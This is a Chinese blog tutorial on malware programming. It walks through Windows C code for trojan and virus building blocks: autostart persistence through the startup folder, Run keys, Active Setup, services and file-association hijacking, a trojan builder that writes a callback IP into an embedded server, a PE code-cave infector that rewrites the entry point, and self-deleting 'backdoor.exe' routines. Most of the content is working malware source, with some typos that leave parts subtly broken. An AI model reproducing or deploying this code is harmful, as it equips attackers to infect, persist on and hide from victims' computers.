恶意程序编程技术

恶意程序编程技术

0x0 前言

恶意程序通常是指带有攻击意图的一段程序,主要包括木马、病毒和蠕虫等。黑客编程和普通编程实质都是编程,只是侧重点不同,实现的功能有别。木马、病毒、蠕虫等各有不同,但他们所用到的技术都是交叉的并不是独立的。

0x1 常见的技术介绍

1.1恶意程序的自启动技术

每当黑客入侵计算机后,为了下次的登录都会安装一个后门或者木马。计算机关闭或者重启时,所有的进程都会被关闭。那么后门和木马如何在计算机重启之后仍然继续运行呢?这就要用到自启动技术。

1.1.1 启动文件夹

Windows中有个专门存放启动文件的文件夹,该文件夹如图所示。
启动文件夹
我们右键既可以看到启动文件夹在硬盘中的位置:”C:\Documents and Settings\用户名\「开始」菜单\程序\启动”。那么,我们把需要启动的程序本身(或者快捷方式)放到此位置下即可实现程序的开机自启动。
PS:Windows7启动文件夹在硬盘中的位置:
“C:\Users\用户名\AppData\Roaming\Microsoft\Windows\Start Menu\Programs”

编程实现
我们用VC++6.0 新建一个: “Win32 Console Application”  “一个支持MFC的程序”,然后点击完成。
部分代码如下所示:

    Char szSysPath[MAX_PATH] = {0},
    szStartDirectory[MAX_PATH] = {0},
    szFileName[MAX_PATH] = {0};
	//获取系统目录C:\windows\system\  
	GetSystemDirectory(szSysPath,MAX_PATH);  
	// printf %s 字符串以 空字符'\0',所以如果不初始化字符串为0,将会出错
	printf("The system catalog is: %s\n",szSysPath);

	//取系统目录的前三个 "C:\" 
	strncpy(szStartDirectory,szSysPath,3);
    printf("The root directory is: %s\n",szStartDirectory);

	//此处得到文件名准备复制
	strcat(szStartDirectory,"Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\StartRun.exe");
	printf("The root  is: %s\n",szStartDirectory);

	GetModuleFileName(NULL,szFileName,MAX_PATH);
	//此处拷贝的是程序本身
	CopyFile(szFileName,szStartDirectory,FALSE);
	//将当前进程文件复制到szStartDirectory目录下,重命名为StartRun.exe
	//相当于是copy SourceFile DestinationFile

1.1.2 注册表启动

注册表自动是一种很常见的自启动方法,而且在注册表中用来进行启动的位置非常多。

(1) Run注册表键
#HKCU \Software\Microsoft\Windows\CurrentVersion\Run
#HKLM \Software\Microsoft\Windows\CurrentVersion\Run
(2) Boot Execute注册表键
#HKLM \System\CurrentControlSet\Control\Session Manager\BootExecute
#HKLM \System\CurrentControlSet\Control\Session Manager\SetupExecute
#HKLM \System\CurrentControlSet\Control\Session Manager\Execute
#HKLM \System\CurrentControlSet\Control\Session Manager\S0InitialCommand
(3) Load 注册表键
HKCU \Software\Microsoft\Windows NT\CurrentVersion\Windows\Load

编程实现
注册表进行自启动
我们用VC++6.0 新建一个: “Win32 Console Application”  “一个支持MFC的程序”,然后点击完成。
部分代码如下所示:

	GetModuleFileName(NULL,szFileName,MAX_PATH);
	//得到文件完整路径
	HKEY hKey = NULL;
	RegOpenKey(HKEY_LOCAL_MACHINE,
				"Software\\Microsoft\\Windows\\CurrentVersion\\Run",
				&hKey
				);
	RegSetValueEx(hKey,
				"Run_Start",					//键值名称
				0,                   		//保留值,必须设置为0
				REG_SZ, 					
				//要存储为值数据的信息类型-->指定以空值结尾的Unicode字符串
				(const unsigned char *)szFileName, 
				//指向缓冲区的指针,该缓冲区包含要使用指定值名称存储的数据,此处	就是程序本身
				strlen(szFileName) + sizeof(char)    //
				//[IN]大小,以字节为单位的信息由指向的lpData。如果数据的类型为	REG_SZ,REG_EXPAND_SZ
				//或REG_MULTI_SZ,则此参数必须包括终止空字符的大小。允许的最大	数据大小为4 KB。
				//所以此处 --> 文件本身的完整路径 + 一个终止空字符的大小
				);
	RegCloseKey(hKey);

PS:Windows7和Windows10 中不能添加成功,待解决。

1.1.3 ActiveX启动

ActiveX是一种组件技术,它被注册在系统中,被其他程序调用,其注册登记的地方在windows的注册表中。Active启动程序的方式是将程序以相类似的方式注册登记到注册表中的相关位置,从而使得应用程序可以在开机同时完成自启动的功能。
注册表位置:”HKEY_LOCAL_MACHINE\Software\Microsoft\Active Setup\Installed Components”。
在该注册表路径下,有诸多如下的16进制值的子键,子键下有一个StubPath字符串类型的键值,该键值保存了开机启动的文件路径,所以只要在该注册表路径下增加类似的子键,并添加相应StubPath的字符串键值,即可添加一个开机启动的程序。

编程实现

#include <windows.h>
#define REG_PATH "software\\mocrosoft\\active setup" \
				"Installed Components\\{E0EDB497-B2F5-4b4f-97EC-2362BC4CC50D}"
int main()
{
	HKEY hKey;
	LONG lRet = RegOpenKey(HKEY_CURRENT_USER,
							REG_PATH,
							REG_OPTION_NON_VOLATILE,
							KEY_ALL_ACCESS,
							&hKey
							);
	if(lRet != ERROR_SUCCESS )
	{
		char szSelfFile[MAX_PATH] = {0};
		char szSystemPath[MAX_PATH] = {0};
		
		GetSystemDirectory(szSystemPath,MAX_PATH); // szSystemPath = C:\Windows\System32
		//得到系统完整路径
		strcat(szSystemPath,"\\BackDoor.exe");
		//添加目标文件名
		GetModuleFileName(NULL,szSelfFile,MAX_PATH);
		//得到当前进程的完整路径
		copyFile(szSelfFile,szSystemPath,FALSE);
		// sour,destination,FALSE
		//上面一部分将文件拷贝到系统目录下并命名为BackDoor.exe
		
		lRet = RegCreateKeyEx(HKEY_LOCAL_MACHINE,
									REG_PATH, //指向以空字符结尾的字符串的指针
									0,        //reserve --> 0 
									NULL,
									REG_OPTION_NON_VOLATILE,
									KEY_ALL_ACCESS,
									NULL,
									&hKey,
									NULL);
		// 创建一个键
		if(lRet != ERROR_SUCCESS)
		{
			return -1;
		}
		lRet = RegSetValueEx(hKey,"stubpath",0,REG_SZ,
								(CONST BYTE *)szSystemPath, //C:\Windows\System32\BackDoor.exe
								strlen(szSystemPath)
								);
		//设置键值为 "stupath"
		if(lRet != ERROR_SUCCESS )
		{
			RegCloseKey(hKey);
			return -1;
		}
		
		}
	RegCloseKey(hKey);
	RegDeleteKey(HKEY_CURRENT_USER,REG_PATH);
	//每次启动成功之后,将HKEY_CURRENT_USER下对应的注册表路径删除,以保证下次开机时的正常启动
	
	MessageBox(NULL,"自启动成功","测试",MB_OK);
	return 0;
}

运行之后重启计算机,如下图所示:
实现开机自启

1.1.4 服务启动

服务启动也是利用了系统的特性来实现的。这里仅仅完成一个能够自启动的服务而已,完整的服务需要添加更多的代码。

编程实现


#include <windows.h>
#include <stdio.h>
int main(int argc,char* argv[])
{
	char szFileName[MAX_PATH] = {0};
	GetModuleFileName(NULL,szFileName,MAX_PATH);
	SC_HANDLE scHandle = OpenSCManager(NULL,NULL,SC_MANAGER_ALL_ACCESS);
	SC_HANDLE scHandleOpen = OpenSCService(scHandle,"door",SERVICE_ALL_ACCESS);
	
	if(scHandleOpen == NULL)
	{
		char szSelfFile[MAX_PATH] = {0};
		char szSystemPath[MAX_PATH] = {0};
		GetSystemDirectory(szSystemPath,MAX_PATH);
		strcat(szSystemPath,"szSelfFile.exe");
		GetModuleFileName(NULL,szSelfFile,MAX_PATH);
		CopyFile(szFileName,szSystemPath,FALSE);
		SC_HANDLE scNewHandle = CreateService(scHandle,"door","door",
												SERVICE_ALL_ACCESS,
												SERVICE_WIN32_OWN_PROCESS,
												SERVICE_AUTO_START,
												SERVICE_ERROR_IGNORE,
												szSytemPath,
												NULL,NULL,NULL,NULL,NULL);
		StartService(scNewHandle,0,NULL);
		CloseServiceHandle(scNewHandle);
		MessageBox(NULL,"service run","door",MB_OK);
	}
	CloseServiceHandle(scHandleOpen);
	CloseServiceHandle(scHandle);
	//做一个简单的记录时间的功能以证明它是自启动的
	FILE *pFile = fopen("C:\\a.txt","wa");
	SYSTEMTIME st;
	GetSystemTime(&st);
	char szTime[MAX_PATH] = {0};
	wsprintf(szTime,"%d:%d:%d",st.wHour,st.wMinute,st.wSecond);
	fputs(szTime,pFile);
	fclose(pFile);
	return 0;
}

Service程序和普通的应用程序有一个根本的区别:Service程序可以在无用户登录和用户已经注销的情况下运行,而应用程序在没有用户注销的时候是会被终止的。

1.1.5 其他方式启动

文件关联启动;比如默认启动“文本文件”的程序是记事本程序,但是我们可以在注册表中把启动“文本文件”的关联程序改掉,改成自己的木马程序,这样就达到启动木马的效果。
文本文件对应注册表位置: #KHEY_CLASS_ROOT\txtfile\shell\ open\command
其默认值是一个REG_SZ类型,对应打开方式是使用
“%SystemRoot%\system32\NOTEPAD.EXE %1”。在这里我们可以将程序进行替换,比如”XX.exe”,当双击打开”*.txt”程序的时候就会调用”XX.exe”。

1.2 木马的配置生成

1.2.1 木马的配置生成

木马开发完成后,通常会将客户端和服务端捆绑发布到网上,在木马程序中通过配置一些相关的内容和参数后,会生成一个木马的服务端程序。其实木马的客户端和服务端本来就是两个程序,只是通过某种方式使其成了一个程序而已。让木马的服务端和客户端成为一个程序可以有很多种方法,常见的有资源法和文件附加数据法两种。

(1)资源法:在PE结构中有一个数据目录被称作资源目录,资源目录指向的资源数据中保存着图片、图标、音频、视频等内容。资源法就是把服务端以资源的形式连接到客户端的程序中,然后客户端通过一些操作资源的函数将资源读取出来并保存在磁盘文件中。

(2)文件附加数据法:将服务端保存到客户端文件的末尾,然后通过文件操作函数直接将服务端读取出来并保存在磁盘文件中。

客户端在把服务端生以后,会把一些配置信息写入服务端程序的指定位置中,服务端程序会读取指定位置的信息来进行使用。对于写程序来说,配置信息的写入和配置信息的读取必须一致,也就是写入到哪里就从哪里读出,否则就没有意义了。

1.2.2 资源法生成木马服务端程序

通过PE文件结构的资源来生成木马,首先写一个简单的被生成的程序,这个程序去读取被写入的配置信息。客户端把配置信息写入服务端的文件末尾,服务端从文件的模块将配置信息读出。

简单的服务端的代码

#include <stdio.h>
#include <winsock2.h>
#pragma comment (lib,"ws2_32")
#define IPLEN 20

typedef struct _SCONFIG
{
	char szIpAddress[IPLEN];
	DWORD dwPort;
}SCONFIG,*PCONFIG;
int main()
{
	char szFileName[MAX_PATH] = {0};
	
	HANDLE hFile = NULL;
	SCONFIG IpConfig = {0};
	DWORD dwFileSize = 0;
	DWORD dwRead = 0;
	GetModuleFileName(NULL,szFileName,MAX_PATH);
	hFile = CreateFile(szFileName,
						GENERIC_READ,
						FILE_SHARE_READ,
						NULL,
						OPEN_EXISTING,
						FILE_ATTRIBUTE_NORMAL,
						0);
	if(INVALID_HANDLE_VALUE == hFile)
	{
		return -1;
	}
	dwFileSize = GetFileSize(hFile,0);
	//定位到配置信息的位置
	SetFilePointer(hFile,dwFileSize - sizeof(SCONFIG),0,FILE_BEGIN);
	// 读取配置信息
	ReadFile(hFile,(LPVOID)&IpConfig,sizeof(SCONFIG),&dwRead,NULL);
	CloseHandle(hFile);
	WSADATA wsa;
	WSAStartup(MAKEWORD(2,2),&wsa);
	SOCKET s = socket(PF_INET,SOCK_STREAM,IPPROTO_TCP);
	sockaddr_in sAddr = {0};
	sAddr.sin_addr.S_un.S_addr = inet_addr(IpConfig.szIpAddress);
	//连接目标的端口号
	sAddr.sin_port = htonl(IpConfig.dwPort);
	printf("Connect %s : %d \r\n",IpConfig.szIpAddress,IpConfig.dwPort);
	connect(s,(SOCKADDR *)&sAddr,sizeof(SOCKADDR));
	closesocket(s);
	return 0;	
}

接下来建一个MFC程序,对界面布局完毕,在资源选项卡中单击鼠标右键,在弹出的菜单中选择”Import”命令,在弹出的对话框中选择服务端程序(xx.exe)。出现一个输入自定义资源类型的对话框,输入”IDC_MUMA”,然后单击”OK”按钮,就将其添加到资源对话框中了。

简单的客户端的代码:

void CTestClientDlg::OnBtnCreate() 
{
	// TODO: Add your control notification handler code here
	HINSTANCE hInst = NULL;
	hInst = GetModuleHandle(NULL);
	//查找资源
	HRSRC hRes = FindResource(hInst,MAKEINTRESOURCE(IDR_IDC_MUMA1),"IDC_MUMA");
	//获取资源大小
	DWORD len = SizeofResource(hInst,hRes);
	//载入资源
	HGLOBAL hg = LoadResource(hInst,hRes);
	//锁定资源
	LPVOID lp = (LPSTR)LockResource(hg);
	HANDLE hFile = CreateFile("muma.exe",GENERIC_WRITE,FILE_SHARE_READ,
						NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);
	DWORD dwWrite = 0;
	//将资源写入文件
	WriteFile(hFile,(LPVOID)hg,len,&dwWrite,NULL);
	SCONFIG IpConfig = {0};
	GetDlgItemText(IDC_EDIT_IPADDRESS,IpConfig.szIpAddress,IPLEN);
	
	IpConfig.dwPort = GetDlgItemInt(IDC_EDIT_PORT,FALSE,FALSE);
	SetFilePointer(hFile,0,0,FILE_END);
	//将配置信息写入文件
	WriteFile(hFile,(LPVOID)&IpConfig,sizeof(SCONFIG),&dwWrite,NULL);
	CloseHandle(hFile);
	//释放资源
	FreeResource(hg);
}

运行结果:
点击生成之后
输入相关信息
在释放muma.exe文件,并在末尾添加配置信息
写入的配置信息
然后运行释放的文件,即可实现连接(简单演示)。
在这里插入图片描述

1.3 病毒的感染技术

大部分病毒都有感染的功能。病毒要感染其他文件也就是把病毒本身的攻击代码或者病毒期望其他程序要完成的功能代码写入其他程序中,而想要对其他程序写入代码就必须有写入代码的空间。除了把代码写入其他程序中以外,还必须让这些代码有机会被执行到。

1.3.1 病毒感染技术剖析

病毒对其他程序写入代码,必须确保目标程序有足够的空间把代码写入。一般有两种方法比较容易实现。第一种就是添加一个节区;第二种就是缝隙查找。缝隙查找的原理根据PE文件结构的特性而实现的。在PE文件中节是按照IMAGE_OPTIONAL_HEADER结构体中的FileAlignment字段对齐的,实际每个节的长度不一定刚好与对齐后的长度相等。这样在每个节与节之间,必然有没有用到的空间,这个空间就叫缝隙。只要确定要写入代码的长度,然后根据这个长度来查找是否有满足该长度的缝隙就可以了。

1.3.2 缝隙查找和感染目标文件的实现

通常情况下,每个节之间都是有未使用的空间的,搜索这些未使用的空间来把自己的代码写入这个位置。下面因为只是做一个测试,所以写入目标程序的功能是什么都不做,就是”NOP”指令,其机器码是0x90,简单的写入几个0x90就可以了。定义如下:
Char shellcode[] = “\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\xe0\x00”;

搜索缝隙的代码如下:

//缝隙的搜索从代码节的末尾开始搜索
//有利于快速搜索到缝隙
DWORD FindSpace(LPVOID lpBase, PIMAGE_NT_HEADERS pNtHeader)
{
	char shellcode[] = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\xe0\x00";
	PIMAGE_SECTION_HEADER pSec = (PIMAGE_SECTION_HEADER)
	( ((BYTE*)&(pNtHeader -> OptionalHeader) + pNtHeader->FileHeader.SizeOfOptionalHeader));
	
	DWORD dwAddr = pSec -> PointerToRawData + pSec -> SizeOfRawData - sizeof(shellcode);
	dwAddr = (DWORD)(BYTE *)lpBase + dwAddr;
	
	LPVOID lp = malloc(sizeof(shellcode));
	
	memset(lp,0,sizeof(shellcode));
	while ( dwAddr > pSec->Misc.VirtualSize)
	{
		int nRet = memcmp((LPVOID)dwAddr,lp,sizeof(shellcode));
		if(nRet == 0)
		{ return dwAddr;}
		dwAddr--;
	}
	free(lp);
	return 0;
}

把代码添加到目标文件中,但是代码怎样才能被执行?这就要修改目标可执行文件的入口地址。修改目标入口地址后,让其先来执行自己的代码,然后跳转到原来的程序的入口地址继续执行即可。
修改一下机器码,定义如下:char shellcode[] = “\x90\x90\x90\x90\xb8\x90\x90\x90\x90\xff\xe0\x00”;
把机器码的后几个字节改为一条mov指令和一条jmp指令,下面就是写一个函数调用搜索缝隙函数然后将机器码写入目标程序中(感染部分)。
代码如下:

int main()
{
	HANDLE hFile = NULL;
	HANDLE hMap = NULL;
	LPVOID lpBase = NULL;
	char shellcode[] = "\x90\x90\x90\x90\xb8\x90\x90\x90\x90\xff\xe0\x00";
	hFile = CreateFile("test.exe",
						GENERIC_READ | GENERIC_WRITE,
						FILE_SHARE_READ,
						NULL,
						OPEN_EXISTING,
						FILE_ATTRIBUTE_NORMAL,
						NULL);
	hMap = CreateFileMapping(hFile,
							NULL,
							PAGE_READWRITE,
							0,0,0);						
	lpBase = MapViewOfFile(hMap,
							FILE_MAP_READ | FILE_MAP_WRITE,
							0,0,0);
	PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)lpBase;
	PIMAGE_NT_HEADERS pNtHeader = NULL;
	PIMAGE_SECTION_HEADER pSec = NULL;
	IMAGE_SECTION_HEADER imgSec = {0};
	if(pDosHeader->e_magic != IMAGE_DOS_SIGNATURE)
	{
		UnmapViewOfFile(lpBase);
		CloseHandle(hMap);
		CloseHandle(hFile);
		return -1;
	}
	pNtHeader = (PIMAGE_NT_HEADERS)((BYTE*)lpBase + pDosHeader->e_lfanew);
	
	if(pNtHeader->Signature != IMAGE_NT_SIGNATURE)
	{
		UnmapViewOfFile(lpBase);
		CloseHandle(hMap);
		CloseHandle(hFile);
		return -1;
	}
	DWORD dwAddr = FindSpace(lpBase,pNtHeader);
	//原入口地址
	DWORD dwOep = pNtHeader->OptionalHeader.ImageBase + pNtHeader -> OptionalHeader.AddressOfEntryPoint;
	*(DWORD*)&shellcode[5] = dwOep;
	memcpy((char *)dwAddr,shellcode,strlen(shellcode) + 3);
	dwAddr = dwAddr - (DWORD)(BYTE *)lpBase;
	//新入口地址
	pNtHeader -> OptionalHeader.AddressOfEntryPoint = dwAddr;
	
	UnmapViewOfFile(lpBase);
	CloseHandle(hMap);
	CloseHandle(hFile);
	return 0;
}

待感染程序test.exe和感染程序放在同一目录下,运行感染程序后,调试test.exe
测试结果:
被感染后的目标程序入口:
首次感染
被二次感染的目标程序入口:
二次感染
可以看出,感染成功,jmp eax指令中的eax保存的是”test.exe”程序的的原始入口地址。
由于只是添加了一下简单的指令跳转,因此没有太大影响。

PS: CPU只认为CS:IP指向的内存单元中的内容为指令。所以CS:IP指向.data段的话,也是会执行的。

1.4 病毒的自删除技术

病毒首次运行之后会莫名消失,其实病毒或木马执行后只是将自己复制到了系统盘,修改了一个看起来很重要的文件名,并且把自己隐藏得很深。

1.4.1通过批处理进行自删除

最简单的一种自删除的方法就是创建一个”.cmd”批处理文件。批处理文件中通过DOS命令del来删除可执行文件,再通过del删除自身。

相关代码如下:

void CreateBat()
{
	HANDLE hFile = CreateFile("delself.cmd",
							GENERIC_WRITE,
						    FILE_SHARE_READ,
							NULL,CREATE_ALWAYS,
							FILE_ATTRIBUTE_NORMAL,
							NULL);
	if( hFile == INVALID_HANDLE_VALUE)
	{ return ;}
	char szBat[MAX_PATH] = {0};
	char szSelfName[MAX_PATH] = {0};
	GetModuleFileName(NULL,szSelfName,MAX_PATH);
	strcat(szBat,"del ");
	strcat(szBat,szSelfName);
	strcat(szBat,"\r\n");
	strcat(szBat,"del delself.cmd");
	//要输入的cmd命令
	DWORD dwNum = 0;
	WriteFile(hFile,szBat,strlen(szBat)+1,&dwNum,NULL);
	CloseHandle(hFile);
	getchar();
	WinExec("delself.cmd",SW_HIDE); 	//运行
}

运行结果就是可执行程序和cmd文件都自删除。
可执行文件和cmd文件

1.4.2 通过自启动参数进行自删除

(1)首先,病毒在磁盘上第一次启动时,会将自身复制到系统目录下。而病毒的当前位置通常不是在系统目录下。所以病毒会将自身复制一份到系统目录下,叫backdoor.exe。病毒如何
判断自己是否是第一次运行?其依据就是自己是否在系统目录下,如果是则非第一次,如果不是则认为是第一次运行。
(2)其次,病毒第一次启动将自己复制到其他目录后,将完成自删除的动作。病毒先得到自己所在的目录及文件名,然后病毒在将自己复制到系统目录后,会运行系统目录下的病毒的副本,并将它当前的位置及文件名以参数的方式传递给系统目录下的病毒。
(3)最后,系统目录下的病毒被原病毒启动,并得到了原病毒的位置。这样系统目录下的病毒副本,根据提供的位置和病毒的文件名,将原病毒进程结束,并将病毒删除。

自删除的流程图如下:

通过启动参数进行自删除
根据流程编写实现代码、
首先完成几个通用的函数:从进程名得到进程ID,调整进程权限到调试权限,结束某个进程。

代码如下:

//调整权限
VOID DebugPrivilege()
{
	HANDLE hToken = NULL;
	BOOL bRet = OpenProcessToken(GetCurrentProcess(),TOKEN_ALL_ACCESS,&hToken);
	if(bRet == TRUE)
	{
		TOKEN_PRIVILEGES tp;
		tp.PrivilegeCount = 1;
		LookupPrivilegeValue(NULL,SE_DEBUG_NAME,&tp.Privileges[0].Luid);
		tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
		AdjustTokenPrivileges(hToken,FALSE,&tp,sizeof(tp),NULL,NULL);
		CloseHandle(hToken);
	}
}
//获取某进程ID
DWORD GetProcessId(char *szProcessName)
{
	DWORD dwPid = 0;
	BOOL bRet = 0;
	PROCESSENTRY32 pe32 = {0};
	pe32.dwSize = sizeof(PROCESSENTRY32);
	HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
	bRet = Process32First(hSnap,&pe32);
	while(bRet)
	{
		if(strcmp(pe32.szExeFile,szProcessName) == 0)
		{
			break;
		}
		bRet = Process32Next(hSnap,&pe32);
	}
	dwPid = pe32.th32ProcessID;
	return dwPid;
}
//结束进程
VOID CloseProcess(DWORD dwPid)
{
	HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS,FALSE,dwPid);
	TerminateProcess(hProcess,0);
	CloseHandle(hProcess);
}


病毒主体代码如下:

int main(int argc,char **argv)
{
	//Windows 目录
	char szWinDir[MAX_PATH] = {0};
	//当前目录
	char szCurrDir[MAX_PATH] = {0};
	GetWindowsDirectory(szWinDir,MAX_PATH);
	GetModuleFileName(NULL,szCurrDir,MAX_PATH);
	
	//获取当前系统目录
	int ch = '\\';
	char *pFileName = strrchr(szCurrDir,ch);
	int nLen = strlen(szCurrDir) - strlen(pFileName);
	
	szCurrDir[nLen] = NULL;
	
	if(strcmp(szWinDir,szCurrDir) == 0)
	{
		//相同目录
		//判断参数个数
		//根据参数个数判断是否需要删除原病毒文件
		//如果病毒是开机自启动的话,不会带有参数
		printf("argc = %d \r\n",argc);
		if(argc == 2)
		{
			ch = '\\';
			pFileName = strrchr(argv[1],ch);
			pFileName++;
			printf("pFileName = %s \r\n",pFileName);
			DWORD dwPid = GetProcessId(pFileName);
			printf("dwPid = %d \r\n",dwPid);
			DebugPrivilege();
			CloseProcess(dwPid);
			pFileName = argv[1];
			printf("pFileName = %s \r\n",pFileName);
			Sleep(3000);
			DeleteFile(pFileName);
		}
		else 
		{
			//病毒的功能代码
		}			
	}
	else 
	{
		//不同目录,说明是第一次运行
		//复制自身到Windows目录下
		strcat(szWinDir,"\\backdoor.exe");
		GetModuleFileName(NULL,szCurrDir,MAX_PATH);
		CopyFile(szCurrDir,szWinDir,FALSE);
		
		//构造要运行Windows目录下的病毒
		//以及要传播的自身的位置
		strcat(szWinDir," \"");
		strcat(szWinDir,szCurrDir);
		printf("%s \r\n",szWinDir);
		WinExec(szWinDir,SW_SHOW);
		Sleep(1000);
	}
	getchar();
	return 0;
}

程序启动一个程序时,可以为其传递参数,从而控制进程在运行时的动作,而参数也来源于自己上一次运行。

运行结果:
相关参数
可以看到输出相关的参数信息,并且文件也实现自删除。

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值